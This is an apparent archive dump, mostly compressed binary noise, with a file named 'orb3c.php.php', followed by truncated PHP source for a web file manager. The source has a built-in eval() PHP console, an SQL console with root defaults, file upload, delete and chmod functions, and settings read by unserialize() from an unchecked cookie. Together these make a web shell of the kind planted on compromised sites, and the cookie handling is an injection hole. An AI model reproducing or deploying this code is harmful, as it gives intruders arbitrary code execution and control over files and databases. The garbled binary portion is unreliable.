?(((((((((((((((((((((((((((((((((((((((((((((((((orb3c.php.php.tar.gz000064400000061325000000000000010227 0ustar00r: 8`G֑-~KݲdɺRU}^J$BJ$u=]cmFl쏙13 =0/H]=>%H$ H$kNa7 ;3 7Xn`Lܚ8Ee6+~x_D\BH<#=o"5o3/)_g fI(G_sea)&ʒz~ 4q.0)F.f2/\y53 W^|vI#q<(+/ g5B]]5v^ (7+en\&^USPmgU7T+^oxΉ|J[f=1͹]q"f 9bpځ~^_DaESV퐛$cP㨂P.JK^r,]H;HфI@18Ѣѷ?rw~ۼ"j38zhgM7^TP10{\5$a6Duǻ$cyTqO0Q!(HCPI\#C폤h/{&3 P?s4 :=H2h>+H\&r#UZ3Y]\;4<3l,GO]dlEͤYIjo}N<BIl|ߨh۾+<př 49O\2 [KI4̥ ޝ j%! #hȎ}abDz\Ay T(m S = '5C'WX$`~e.6ṝ"qGwg6: "eH8f9,""o+5_~a>o|z~Kg[%]-{/Pb@ ' U*Τ*ԫKAmc@">`PweIA/ 0g(ȅ$Ӏk?Ey3%̘Oh{( i '[1{uP (4n\BP檍8kQ! ޢ6֙ g/(?/a * &ʋ+ lH29IJMy04ߑYDEkCD0jH`ПU!6 [QCru% porUʽe8MCw&Ș@5%#1 Qv Z,lNqt u d4i7h Ù)%'E\bX PP.p?Ai[X &,9;|J_y G#UhN51shA5;dt\(1yi(H.<c"IL, HCKRJ)?hՠ3K*p0UqhauN1x&0UYc Jz} _mijRo;R?" lj3Tvh$D%o <}@y8Д#0wD뇯S@(bzZw@W=YPr$)!Ww) Չ}lAyAF~PBM^Q, *k[7^K422qn8# 8+2DS0p?z?RDJe70U#=D%Ξ9ï1-DK2K,\֕MHK':w悒`1V0?vXۨ3N#M{vWQC̃W^~d am2#0JZtק:KnR/0ڌD0W_.Rd*`QIP{(`Mop;;FBs6F:d!gfRW}USLk&p e*x(땭IVWTK Z4 [( ISk n؈BbCO%NSeE4uї-XGFv} חGqI1G04o*=kTސ?sX/hԡB L$s".$~B3)3{*›&XcD>ח0Pm'aeuMz]?uz)a+&3 tEQý._<5{nQ1~=;W} `Zi?D8ly.e>utS0gBD˱pSVQf,ԩ ^@CoKir4J\4Q A.i}ttsO h3v4'϶t~)uW0ᡋ-L( WJ׵Y?L1͑h1eVb ;RA@̡7ԲNB1l4f)TOٺsvWERܮ9 )2X&^Ι{mVeIH<\3N&(oX#rol٣QPz6Qw[0a$0K^hMbD 7 %zϰaajXnI`ـ$C%XUn>]QL^R^QQ:ݡa[$!mڒOxڶu;;KZ)ehX47(YrD|'> IZ͑z.xլͨM֔|Ŕ#L']iWj4Iv*&3}=r JR3ʺ޼@a\SRi^=̝!mP`D&D{mpr4Ff@k=J[Ru|c$d3 FшO <`JaLLr2Jo᥮~$HxiLR=4ÍvE-N 7Y4u7`* Qrђُ_2N^1>l8I/3 %yPKp9LD7/e!/eNl$iCz:٣rt- = ?0( %b<jN{ bsN)Zr~+ V&:`Gž 8Yj3͎$B]Mhj6 m[rd|烪Py PCB F*4w`2S.2݇TGuqIԺ8EyPd%2TC{YUw26QJ)RKF,=g-1ZӤ =@SQ_Fa~}k !tq,L!4ZJ vh202Zf`"m/V{lĈ0TElduVϓ}jx'w|;g<*,{K<26'Êirx2*4vwg*dÓ<R:8yIB <:?~Re^h~zIp`3LF;|_;aXe}pqԔYZ"Y7;`zCV *e.LR:<*&xBRx!zh*&rLwe|x)o-d8T#6Qٸ;/ҎrOS%#EQ{g³pVZUXU *u`&ᖬ>f"/jྻԅ|ru,7KN$5^ۇ4'%5n5d$vʧÛH37 Q&fTjҊ꒶G|&=a} EQxڮ*>W!t6ОF[NZ|w_g|a=J}gyg{mw/dgz.Ci1h'\wY{퓘ϊړ'5F1TlD۟/[,|p&;>iH`K;xԝ궾~=t UoĒ6$VkMyĕ OQ~̅PKc=_=_lJl bX䆳P;ZPC0EcSzIV9V ūo2-VPz^gbnj7 R|'g:j h6625rcc+hJa7 tF}DrPK%F·XL]>6j۬3.PgM<Lf +`alM#nMbc@dte,IX}Bؤ!B0lL@i3/`?#Zw j{ą"k2-;$@3֝;Z8&=pdckB==4@?WPk|Qk\)wUe䴌Uh'Yto ksd<Ԛ-rNņp`[Ŋ| 'R[Y: =^W}Voέ\c ]=[*xY]p{붰m#ٕDI|\0m/~ *13g!{GvVz*c?uA7|nE8p +!2a|T s`b!(zR*1; n}7zM~:9VxV^CDr/<מ_<:6]"4`LY1AXn1E Ay#Y+qAզգ`W5 ]w 7LT^/ dT zwnqw bksQROa  (Nf`~sA ʒ}M$~Ì;Wzv4O`EDCxC-I8:*{(H];$! W`m8Ν8”7?1Ͽ{o=//#wO6 ~?68glcM[̰7fU_ѐq%>b&,׺4`ǎL VS\봐,`>}nY5ݲ (c4zKt#u5΍JIj8j+9Mpi~.\ e?>*Qv$-]Vަb`9 l}fo3GŎI9'm"eF¤Z'6'ZܩG^yQyD^? }#nؼ bcA8Ƣ!^tΖ(@J1 rvpf8!\,d;&+3at\PF^r0:=zG$KS{v1RCBe"U=-u1 V}un&l r)__7F6M+P DKNe(>AaV?Z~5 ɻBk.O~BH`Y(%zuZcֶFv6E abqr&qL!#NoVԮ#g Œ% qE9;Q7KlV` jUJiMu%™5B.N!yۄёa;U_C" h:-)PE&kϟlM[x﷋o?'9\kyz<#lua4|l' xul\\ܹb,2RE돽0Jӗ[)j0cq/qkvuW^urMn)" DCh1,40O0йi;Ln렵=FȘUk,򌮢,u90ql<Y8&Q/JQׇ xcV}{ȿib=>n QGESOU&`$mlwwdDŽK3 ,yavvIi:_wTأFOz+U#A ӡiSg_꣦ +!]RKbfQ7"jKog,LKk&z|.^3sDR1zn殙X* ?x 焵g$nsé!=uFa=y!|aKQn3a  aD yqsai4~ Y@\_==azIZ$}'i'Qr mwL5R? -֩Fkz|GثN뛃zMfeE Zcm0wV'Bo唛!d/kCP;`|!9ȷڍj6QcSA [aMd8IJfۙϟTeM}dS[$Qfb} ])U.% $,𡒮<ܗ҅H.3X]aIOH{YxFlF'^(?hdžO4bzfPmx`{= ܵ(lNb#8 ׷nTX!xؿTW3K>S&~ęK=rsq=;8R9K,Ws$D 囻%;-еOk^6Xr pp0DluX>zg\[S:dcГ4!)qJppo,@l@(5# ב/w "ޟ,:>sYkzLh a8`b X!)H2;UĀP~$$ZٓW(MktڈL0[Xlw&(@n`Z&Ab}#΂fdw| 6lr ,Wf\1臫r?5\!z~N?L8S:Ea׍l3"gymKcVfwYOMyti=7vGbV٧B'Jr9NK\6J# I_*+AMDCfΦw/\Q풐mUU/?>e {I?}ϹRRQ:#T*t.OalfA&0m+Rgbiy~(g{t.*Pe.t1- }V}xϲN6^wGtyܑtaIgfMWGZ:yzt%N?jjNXj/FW*tCy hV`22f=lp qDOm=ԭ?j#{V9SMDbZ;(4F#9)*hq\ r *,JRdv$o\QvYguro i(үFs_ZzN?CFE1$ì/maFJo:o>Zeu>d[ld2E)fxLݎr#ǙlvL?<<.[⾟QZiip%5HGVK$7 nrb}gʕ]&[odvQ|tAgd4zw_#AAPܣi4JUm]*tJRr0*EmqQۍֻ:?J]n*܊r(C};/>Pswa}=䄯l6Q7sVfH]PuL0~zǻhXLsCqWn-"7|z;)mq}~ˉVe|uWoc|^OOEk<,겧y2MH\e6ʮ:V.{}qbkEھVXk@ޛsWZH;u$bX |"UGc3>|= 7͒׀^4|k,7xFR93Ӄno; ˾n"jooe^zl錖HzS5Nq';rTH$NɷxUʴy >Ou=[j"X퐰ć\:x2>mܢPv~ꎲkQy^겍P\܇K.姠ok$m5rYxMc. E1 *mU u6fYk,CeVqN@ VA)>G3ۀ,f^ezaܠ-%%k徖JJ S?6~X l/؂< L3VgoJbOt A5]uƳkl|BNvvyRi$.qԝ#Q]i j|hy[9i?J56HsFC-ᄂjK1*vU[̤lW}:NgN,UlXgi HZOs[MAOv3jCKAyIK6Xkݫ&WRʶ[8BnRb~_=ÅcQ 6=Os:~ KDbi،T*WY.Fl_B,~Z ɡ<HM@ͅVuxz.}Fϳ٨T\s=RiTW6Z^q|;%'ѝ{EpxR^:S5 *J+Q]K3_!%69e gQmjv1}D=~oBB03)gF'354 򮶫+͇p4:ME jHXل#OqG(>G0kupk<&=Qe,Wo)FU94cω7vUuUkEXBIBp#pͺYXlEe\Rk^UjM^.3w/$eRIdUX 嫃8ZKLG,&UUj/qVXL+ۧ\{KXJL>uki//qW | ):vlܯ/KJӫ Y_NA;ANc]\q$nVjtXV˫fW-Jg_j\R)Qu ZlۅrYn2T;ZDP ̅iPu♝\hh0փ/ȷ#C}pYНq_:H?Lf)^Xr1h?3G!~&JtX-WWQ\=nW`syn}z(UxW7c-~K|f[ǵuҝN5ڣ/~+)2C\}жf <6P0.phN]%Զ[].PIo_MAƆ0;r-m\deWB|] 5_klk%6_%%H\tx.̢u{XҚ}dzPG\_Vzh}/hWVDh[^ ڭN|:_&b vj%TYq2pqi%(cPMd%M4lP{j0Vc}vXHÂ8LU<:PVgpwy}d~H.7(|4Aq}~FepI2]V\H֒p%z"9Xgc"Vmw=\O:MroEklu7c%סD?|tkm:ZN&[F$;@yn)ȧ=[|WxuT{hsl9fc"<-[xW[h%IXڨ4 t+]/VHm0z=K-_o$p4֭ծ}p"]$cS3Ȋq=`PM{0ve(fr|Y@~1LC䶳ݍJH Vf}F4Ze}XClc. pjxU h VMOo0l0- hM+T{t+vFJ3VP!s|r{cu}i?K:عDKZhVv2Hr-=kfh5|Y6h% o*u4Zb=֫@\LN4*_KZKwUo뭗ª u5[Q++f5ZqvZFr^#٭*aiYIjfP)IR1,;7]= //IN)l!Sˊ\ډ\~Q- z j;*:,OsB鴠C֦r$q7Sɉ==a~f,\#njm7N{Y5mlK-!L;v? Aa;v? Aiv(CLbJ ۪gĢmҥy@fq.>-F}+)=ӂӮ}䷅qfK%F])'ϒd+vHƗL(Ȯ>&a)f}nH's Z 3JR#6@hRw.$rKI)? ;@Aȕʠ8ɦiFry,?q}O})c7_J\ 2iDd#η y&C6{؇ 7Y.%ת&Byjս2 FZ> d gܤlW[i{.L2n-Óɗ\>uؖšTZFl!~EQ4bf9T& ?|\,^p(rP44mio7_:jQҪ-f>ב2Z)ǘTLTa)^}?2%?3yO?5_ŧcoVJ|a)B0:~(Zv+Qw9Tsam_} >])ƟN~K2/ΝUԞrώ4pѸ 7 I'ACbiΪ m%w✗(!yՃܧ>!i&U2J~h_rc(צE|k%T Ǻ>,XZڷwsiKjL̮RscO N6Xviv/b^EhU;y/xZUP_|#òYTxT]*El4k! ygWuXIVWl&섢\pyqMl 6bQ$"[Ni#[TF:ψoB, >V|jN7UJ>UEܔDzDK=2{H @";9>\ګ^ħD!_Be7E%̇m%8,V96 l?xyMiY*DnW_bUM*Od,kC J yB4^B&{lqxZ,mNKX9UYOxi:Xp/BLƦ̶++MECo: ճNkZiVDzӜ \`wҾ$2@rlv]8 Kـ\hN׍)gC^R^1W^c\q eB^/˕o[+Z=Ja7]nZbaWkH=7Ѻ&=LNtr-lwjr4-RDe."ǨE$%jmm<Xl`pM'fw7ɜv;!;cXNV$UH8pꮧWQȣOE}OÏaǁ[oSv9vG?_%98/2waLY_~9~ Y@8ksp聘w$LrOƱ3ӄ>Bs u߀E !3L?C45bqrIHQpTz>̌k$AsVA\&[<зs|-n~ b! {8Mg1L qF1a˟EMX@5G_,_~aUC 1D^K<+X2F@"Jl]$8pZ#'PmgN<\%1[݄16땣kw4)m!hP'OFI>Hl$Mq5?K;ӃM" H9)ǟ%*nX ?O@=ÞDd;RK0TԡRb %k'Xz]Aw֏.YJw#PKN#%utQc~Dzk_SN{y:u_Z BI_KR)oTsU>P,ۄhE3Ц9bigy\ [UZ7W}" %h>?; \LW<ǐb)KQ!t<&x /dϘn;w܈a Zw*w(nd YisJB"Nݝ_dݲcd#- B"vk8p6lRV6u$I\ m⸋EHd, p`Q!1O?nT_yh *_⩛%Bj:y~/}-A sGc}|h]Kqu; HzGx&—^|f =`96A *rkO9^,> B j0 ^q!.UezN~*R M%Lȧ;ļ &n eZfwElo,8LqR$:YD_CdPY Gup3q4;Ec1xqd=N5d%`}':KXC%3@.kaP@f8ӕ{mꍝ~:|πP7ubL4@d eU QL$\ă |<,& *ͮ3 ^ա`]ElF,\> :{ XT4U"Yr4&S. Vҗ8 6`f߳~M9!L~ 1,&Ocް F?^q)9?(N)@cRHл> H6/7&9× Ac;@z)CH stCd3K{M=mt+w;s]8i+r3DcylW̎V<҈1GK Ͷ;: C2,š_1!F'pKCkzm d7ʴP}N]i^8ϑU38B,+)l\cccm .ަ|ȉ+9@KUJaf삓\-xܖ0\4"(rM}:ݕM"u~JE+JwT[wQF|ě2"I+-.X ?F978>Cic,;ܨg}w!\ZX =u)^Քщ\(AF-*i4mVi$!1NIC[F_7b)̼9,s[yͽj'v*`ӵ<^ Mc&!4 3Fw2]2^ M7quҋͅ=O|['Fo.MlKFU9&${qa R/WxS2q$YH!X}~qth *67ŘۭQ2r:ao+qygKeX n$6j؃EC\co.jdȼoT Mn$ƕy5][P^X:^1%"Kt\UA7|ǂ*df;v D p,2棛'K$[ݹ۝[C.fpuyS,` n}Gb33 l`uU5."-1#i(,rxE<=ihkӻ5t7N.wZݯ$ͫ_y h=ORgxskj|JjUuVNz ?V8%)/ NՄ9<2f>x[( MEPwsS@V7s'9E`9dEw=pRW {8/ݹiŴ 1ћ.#MEUAGN "RiNVh[#"VEYMQP)dW|=;K֍NՓeOjQt#1ѹT *Sjrߜ^iz+(%d#‚gRf? ??MO# ODk5.dNvb9 abBDZLW*lpp0!u 4\ug^,ąr\|v 6Bp`] *+|//ެ­^3.2 JJG}t adfia I\<^Q0RB+(fJsy" h5&4T{5șp)cDmr K(n{Xcf(??Γ/5zj­=z`GfS\~@t8/~ET0+ɕcTfXC}sa+"R%a 7c+4WdYKSoS["ֶBKew9>v2#&KιYa3RGȣޙx.lWwC4y^tT0G扪ac;ɏ;zva;Fw/.pizq$7Rԯjm꟥E0VEC fqF?SLdtfs|\"~)O>P=*?ƷCԬvwr<5?Jn?a{5:J!4!﷞_Z@O!8?7vKW%:ёr flǒ'g%H yoX?Aw1 O? i)櫙&.s)/K5}c=?$7aSfXFu> W}|3$8+##g87 |P;f,*HG=*zFb0! =6Odv%Jo}hDT8Qe2lRYjLK+uh Y3**3оW(T 3tDZt:c$x}Qm^z, +ԛ)HŖ+'t> l(-R86h%m0 It +n$xěDm/!QQ}z 勃41*1vcQnp+[ G->,~"w=9s8\ɩ/=kE.> o%ZYB?N2OGԠ3XSnFFonbٸґ^}/֣`'.:+6Cҝ~V!YaV?;[i H 1|LLr#=δ80H"k_!A쁒=h1h|E8$ @ ԗ[z?yvԧ{3?7IDSb_ۜ#\7H>No k"c 7o /`61?Kh>+: /|myA7fRR( ~oIZb}p3AIFՕx MbXY~ 1] Cʵ8}Gr a0  Qeh`@`kbgjx룙sjѢ֜@4},?6Ɔn¡FxyTTc>',]j $Phꛇ}׈605kM%%:Yo>QP P[)R$paPBF0?;ƷVqf#C:*e>iуp#H0Q E`3y,xf${YR(ň,y$K튻3s` .>_Aߌef>]$K4tĢ wpFچ:c8wqgp-eR$1>HA1'm CXsȐ#VB_78-{~xðBbVx xJ>9)C=0q{=7˖޻?qi eG6^y)nYpK⾈ӡ0xbVQ /ujɠ_E|J D)7ذ` =T#͉⺋g2:tR[DX?c8I}/cb=: ߵ R4+-E*u(rBu;HSs,[u :@g nVQ{qyfˏ\:˕jhڝnxa8l.ɋjfp$'>&jWkfpAm]3#{o1蚁hЁ;FfH*;E䦵5J0|&Ge | 12?3QW"<c1)| ԱP7B\}o`2j] #!_ E 0S/@RobʇrPUT2>EOSX0> \1[P&؀-"j1J!3+@V^ sa—ՇP_I;'0ƴ}fS Ǥ&78FI?StM;{ e_X +ݓ WCc#8Qʱ <3|&rqhVWoCp("\ D@fo~YgoHi@"WGʹ*3-fɋL<}PaP?*MmO?>J3k$8|UTDP=07{H' +繀xv#,WL &-~ MAK[{OM$&B+n04FSӋ\կeyk3Y܃ 7YV#&q;NKHI˔Of0el[\,,vgOtq P&h}G E8KaP8Xh<6G[#N?ܤF3Xq . ! 5пdMT{̼]^۞A, {g6?l8zXV^LT5uH $X#']ҽ%Bixl.SB|Evȋ"X2m0H7 xzNBF[EAX˾f\>)CsMm5 Ei|V `\@EGo6hOH"f rӕZkG{zZ@ B-b{xBg9{-tvf9kR*閚 BRIuk `JEȹLU hhp wP;t~`'NeAC2knHgVFBkH6ͪ`Wꪏt+7!<(P&  rM0&Me`p* ~tpܥ7nrsQ㞜DZ|OwlԳ˹܈(J7jFK+ʐcF_e"%J5I6ӥ u5"ufɮsBݝ&?9&\wn./I$l ։| XQ:xxIן$I^&K#04D ȆL @JQlhxrQ:ߌF;VD1Uʈ@V|qci:[o`ƱDDgSA l+2#aز"f9څ("WLrdvd^G͍O03mQQp&+={t&  :Ccck&H t&~?IR\0N-"5YH6:.mt;2`D& TsŮEXAQ cdižpƍ(luqQ03jo0m&ˊ`ͥC`>38U@̋E9 ?PhN# QFD1Qޙh>ܟ2mF:¡wt*:lڞul|bm n&ѷ( Nx-UA+c{ôCF>3u~:#axk8*xXvC=XI9MɏC?5S}kOG,FXT띶c`\ySuUL~qU#,qdG7pEЧplu5+.;Iۀd7Fm"°QQ,;@޶53F~PCbzo3$oW.,f\D=yp~A$|I\X@,s#qr!z¡)%xa=&BEIVdΠ;CmlkZL\p_?툀0{J EcBlee' kն9lz%cGf&yu9[&$[>[4NVʑ[d7 &K5{>G놥Όi:,C. $Nd Bh01`4QH{2nb5ߑQgIl?%:Lw H]k0 Յ"J`PPa;kpYQTl4X,0Yn6XyJ35*DӯP0Xqj29ӇBa-4B2N$!jfD nj7>,}wt%̄1ߩ1B9~PT,%qp0`> &vz]x[WV#4G =?-Nasj#=m-oM Aӄ 1J25@@GTP]oR~`P-7h+r::yO Ɖ3إ\k;DC.Cm-;F= jGc^{dE1cSϯۨ8=? ,& K 5N{&V~H|,.ϲVpqsuCӽ)Mcjb}^7PZ]D%utM_rul28n['ex:&ܬ(nZ+*>蛵Qg=ŋ8/F true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5Erk